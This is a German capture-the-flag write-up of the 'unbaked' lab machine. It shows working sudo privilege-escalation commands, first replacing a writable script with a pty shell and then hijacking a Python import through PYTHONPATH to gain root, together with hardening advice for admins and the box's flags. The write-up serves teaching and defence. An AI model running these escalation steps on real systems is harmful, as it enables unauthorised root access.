Analyse: Da die Ausnutzung der eval()-Schwachstelle über die Bildmanipulation schwierig und unzuverlässig ist, wähle ich einen direkteren Weg: Ich modifiziere das vuln.py-Skript direkt, da ich Schreibrechte darauf habe. Ich benenne das Originalskript um (mv vuln.py vuln.py.old) und erstelle eine neue Datei namens vuln.py mit dem einfachen Python-Code 'import pty;pty.spawn("/bin/bash")'. Dieser Code nutzt das pty-Modul, um eine interaktive Pseudo-Terminal-Shell zu erzeugen, was oft stabiler ist als eine einfache Reverse-Shell. Ich mache das neue Skript ausführbar (chmod +x vuln.py). Schließlich führe ich das modifizierte Skript mit denselben Sudo-Berechtigungen aus: sudo -u oliver /usr/bin/python /home/ramsey/vuln.py.
Bewertung: Hervorragend! Durch die Ausführung des modifizierten Skripts erhalte ich eine neue Shell, diesmal als Benutzer oliver (oliver@unbaked:~$). Dies stellt die erfolgreiche horizontale Privilegien-Eskalation von Benutzer ramsey zu Benutzer oliver dar. Dies war möglich, weil der Benutzer ramsey die Berechtigung hatte, das Skript /home/ramsey/vuln.py, auf das er Schreibzugriff hatte, als Benutzer oliver auszuführen. Der Umweg über die eval()-Schwachstelle im Originalskript war nicht notwendig; die fehlerhafte Sudo-Konfiguration allein war ausreichend, um die Privilegien zu eskalieren.
Empfehlung (Pentester): Sie haben nun eine Shell als Benutzer oliver. Ihr nächstes Ziel ist die Privilegien-Eskalation zu Root auf dem Host-System. Führen Sie erneut eine System- und Sudo-Enumeration durch, aber diesmal aus der Perspektive von Benutzer oliver.
Empfehlung (Admin): Wie zuvor betont: Vermeiden Sie Sudo-Regeln, die die Ausführung von modifizierbaren Skripten erlauben. Stellen Sie sicher, dass kritische Skripte nur von vertrauenswürdigen Benutzern und aus sicheren, nicht beschreibbaren Verzeichnissen ausgeführt werden können. Überprüfen Sie Sudo-Berechtigungen regelmäßig auf solche Fehlkonfigurationen.
ramsey@unbaked:~$ mv vuln.py vuln.py.old
ramsey@unbaked:~$ echo 'import pty;pty.spawn("/bin/bash")' > vuln.py
ramsey@unbaked:~$ chmod +x vuln.py
ramsey@unbaked:~$ sudo -u oliver /usr/bin/python /home/ramsey/vuln.py
oliver@unbaked:~$
Analyse: Als Benutzer oliver führe ich erneut den Befehl sudo -l aus, um meine Sudo-Berechtigungen zu überprüfen.
Bewertung: Die Sudo-Ausgabe für Benutzer oliver enthüllt eine weitere kritische Fehlkonfiguration, die diesmal zur Root-Privilegien-Eskalation führen kann: User oliver may run the following commands on unbaked: (root) SETENV: NOPASSWD: /usr/bin/python /opt/dockerScript.py. Diese Regel erlaubt es Benutzer oliver, das Skript /opt/dockerScript.py als Benutzer root auszuführen, **ohne ein Passwort eingeben zu müssen** (NOPASSWD). Das zusätzliche SETENV-Flag ist hier besonders gefährlich, da es erlaubt, Umgebungsvariablen beizubehalten oder zu setzen, was bei der Ausnutzung von Python-Skripten nützlich sein kann. Die Fähigkeit, ein Python-Skript als Root mit Kontrolle über Umgebungsvariablen auszuführen, ist ein häufiger Vektor für Root-Zugriff.
Empfehlung (Pentester): Analysieren Sie den Quellcode von /opt/dockerScript.py. Da Sie es als Root ausführen dürfen und SETENV gesetzt ist, suchen Sie nach Möglichkeiten, die Ausführung des Skripts zu manipulieren (z.B. durch Hijacking von Modul-Imports über die PYTHONPATH Umgebungsvariable), um eine Root-Shell zu erlangen.
Empfehlung (Admin): **Kritische Sicherheitswarnung:** Sudo-Regeln mit NOPASSWD sind riskant und sollten nur mit äußerster Vorsicht verwendet werden, insbesondere für Skripte oder Interpreter wie Python, die potenziell zur Code-Ausführung missbraucht werden können. Vermeiden Sie das SETENV-Flag bei Sudo-Regeln, es sei denn, dies ist absolut notwendig und die Auswirkungen sind vollständig verstanden. Führen Sie regelmäßige Sudo-Audits durch und prüfen Sie Regeln gegen bekannte Ausnutzungsmethoden (z.B. GTFOBins).
oliver@unbaked:~$ sudo -l
Matching Defaults entries for oliver on unbaked:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User oliver may run the following commands on unbaked:
(root) SETENV: NOPASSWD: /usr/bin/python /opt/dockerScript.py
Analyse: Ich betrachte den Quellcode des Skripts /opt/dockerScript.py, das ich als Root ausführen darf. Das Skript ist kurz und importiert das docker-Modul. Die Hauptfunktion ist das Ausführen eines Docker-Containers (client.containers.run(...)). Der Import des docker-Moduls ist hier der entscheidende Punkt. Da ich das Skript als Root mit SETENV ausführen darf, kann ich die Umgebungsvariable PYTHONPATH manipulieren. Die PYTHONPATH-Variable gibt Python zusätzliche Verzeichnisse an, in denen es nach Modulen suchen soll, bevor es die Standardpfade verwendet. Indem ich PYTHONPATH auf ein Verzeichnis setze, auf das ich Schreibzugriff habe (z.B. /tmp) und dort eine eigene Datei namens docker.py ablege, kann ich den legitimen Import des docker-Moduls "hijacken". Wenn das Skript /opt/dockerScript.py ausgeführt wird, wird es zuerst in /tmp nach docker.py suchen und meinen bösartigen Code ausführen, anstatt das echte docker-Modul zu importieren.
Bewertung: Diese Kombination aus einer Sudo-Regel, die die Ausführung eines Python-Skripts als Root mit SETENV erlaubt, und einem Skript, das Module importiert, ist eine klassische Privilegien-Eskalations-Schwachstelle. Die Ausnutzung der PYTHONPATH ist ein bewährter Weg, um die Kontrolle über das ausgeführte Root-Skript zu erlangen. Mein Plan ist nun, eine einfache docker.py-Datei in /tmp zu erstellen, die mir eine Root-Shell gibt, und dann das verwundbare Skript mit manipulierter PYTHONPATH auszuführen.
Empfehlung (Pentester): Erstellen Sie in einem beschreibbaren Verzeichnis (wie /tmp) eine Datei namens docker.py, die Python-Code zur Erlangung einer Shell enthält (z.B. import os; os.system("/bin/bash") oder import pty; pty.spawn("/bin/bash")). Führen Sie dann das Skript /opt/dockerScript.py mit sudo aus, wobei die PYTHONPATH auf das Verzeichnis gesetzt ist, das Ihre falsche docker.py enthält: sudo PYTHONPATH=/tmp python /opt/dockerScript.py.
Empfehlung (Admin): Deaktivieren Sie das SETENV-Flag für alle Sudo-Regeln, es sei denn, es gibt einen zwingenden Grund dafür und die Risiken sind minimiert. Wenn SETENV notwendig ist, stellen Sie sicher, dass keine kritischen Umgebungsvariablen wie PYTHONPATH, LD_PRELOAD, PATH etc. manipuliert werden können, die die Skriptausführung beeinflussen könnten. Führen Sie Python-Skripte mit Sudo mit Bedacht aus und erwägen Sie die Verwendung von Python-eigenen Virtual Environments oder anderen Isolationsmechanismen, um Modul-Hijacking zu verhindern.
oliver@unbaked:~$ cat /opt/dockerScript.py
import docker
# oliver, make sure to restart docker if it crashes or anything happened.
# i havent setup swap memory for it
# it is still in development, please dont let it live yet!!!
client = docker.from_env()
client.containers.run("python-django:latest", "sleep infinity", detach=True)
oliver@unbaked:~$ ls -la /opt/dockerScript.py
-rwxr-x--- 1 root sysadmin 290 Oct 3 2020 /opt/dockerScript.py
Analyse: Ich führe nun den finalen Privilegien-Eskalationsschritt aus. Ich wechsle in ein beschreibbares Verzeichnis (cd /tmp/). Dort erstelle ich eine Datei namens docker.py, die einen einfachen Python-Befehl zur Erlangung einer interaktiven Shell enthält: 'import pty;pty.spawn("/bin/bash")'. Dieser Code wird ausgeführt, wenn das Skript /opt/dockerScript.py versucht, das docker-Modul zu importieren und dabei meine gefälschte Datei in /tmp findet, bevor es das echte Modul findet.
Dann führe ich den Befehl sudo PYTHONPATH=/tmp python /opt/dockerScript.py aus.
- sudo: Führt den Befehl mit Root-Berechtigungen aus.
- PYTHONPATH=/tmp: Setzt die Umgebungsvariable PYTHONPATH für diesen Befehl auf /tmp.
- python /opt/dockerScript.py: Der eigentliche Befehl, der von Sudo ausgeführt wird.
Durch die Kombination von Sudo als Root, SETENV (impliziert durch das Funktionieren der PYTHONPATH-Manipulation) und der manipulierten PYTHONPATH wird mein bösartiges docker.py ausgeführt.
Bewertung: Fantastisch, der Root-Zugriff war erfolgreich, nun haben wir unser Ziel erreicht! Die Ausführung des Befehls führt direkt zu einer Root-Shell auf dem Host-System (root@unbaked:/tmp#). Dies ist die culmination des Privilegien-Eskalationspfads. Die Schwachstelle lag in der fehlerhaften Sudo-Regel, die die Ausführung eines Python-Skripts als Root erlaubte, kombiniert mit dem SETENV-Flag, das das Hijacking des Modulimports über PYTHONPATH ermöglichte.
Empfehlung (Pentester): Sie haben nun vollständige Kontrolle über das Host-System als Root. Lokalisieren und lesen Sie die Root-Flag (root.txt). Sichern Sie alle anderen sensiblen Daten, die für den Bericht relevant sind.
Empfehlung (Admin): Dies demonstriert die schwerwiegenden Folgen einer falsch konfigurierten Sudo-Regel. Überprüfen Sie alle Sudo-Konfigurationen, entfernen Sie das SETENV-Flag, wo immer möglich, und beschränken Sie die Ausführung von Skripten oder Interpretern als Root. Implementieren Sie strengere Kontrollen für Dateiberechtigungen in sensitiven Verzeichnissen wie `/opt`.
oliver@unbaked:~$ cd /tmp/
oliver@unbaked:/tmp$ echo 'import pty;pty.spawn("/bin/bash")' > docker.py
oliver@unbaked:/tmp$ sudo PYTHONPATH=/tmp python /opt/dockerScript.py
root@unbaked:/tmp#
Analyse: Nachdem ich Root-Zugriff auf dem Host-System erlangt habe, ist das letzte Ziel, die Root-Flag zu finden. Standardmäßig befindet sich die Root-Flag (`root.txt`) oft im Home-Verzeichnis des Root-Benutzers (/root/). Ich navigiere zum /root-Verzeichnis (cd /root) und liste dessen Inhalt auf (ls). Dort finde ich die Datei root.txt. Um den Inhalt zu lesen und die Root-Flag zu erhalten, verwende ich den Befehl cat root.txt.
Bewertung: Erfolgreich! Die Ausgabe von cat root.txt zeigt die erwartete Root-Flag: Unb4ked_GOtcha!. Die Flag-Nachricht ist eine Bestätigung für den erfolgreichen Abschluss des Pentests und die vollständige Kompromittierung des Systems bis zur Root-Ebene. Ebenso wird die User Flag (user.txt) hier nochmals für die vollständige Dokumentation erfasst.
Empfehlung (Pentester): Dokumentieren Sie beide gefundenen Flags im finalen Bericht im dafür vorgesehenen Flags-Abschnitt.
Empfehlung (Admin): Stellen Sie sicher, dass die Root-Flag-Datei (root.txt) nur für den Root-Benutzer lesbar ist (Berechtigungen 400 oder 600). Führen Sie regelmäßige Berechtigungsprüfungen auf sensiblen Dateien durch.
root@unbaked:/tmp# cd /root
root@unbaked:/root# ls
root.txt
root@unbaked:/root# cat root.txt
CONGRATS ON PWNING THIS BOX!
Created by ch4rm & H0j3n
ps: dont be mad us, we hope you learn something new
flag: Unb4ked_GOtcha!
root@unbaked:/root#
Flags
cat /home/ramsey/user.txt
Unb4ked_W00tw00t
cat /root/root.txt
Unb4ked_GOtcha!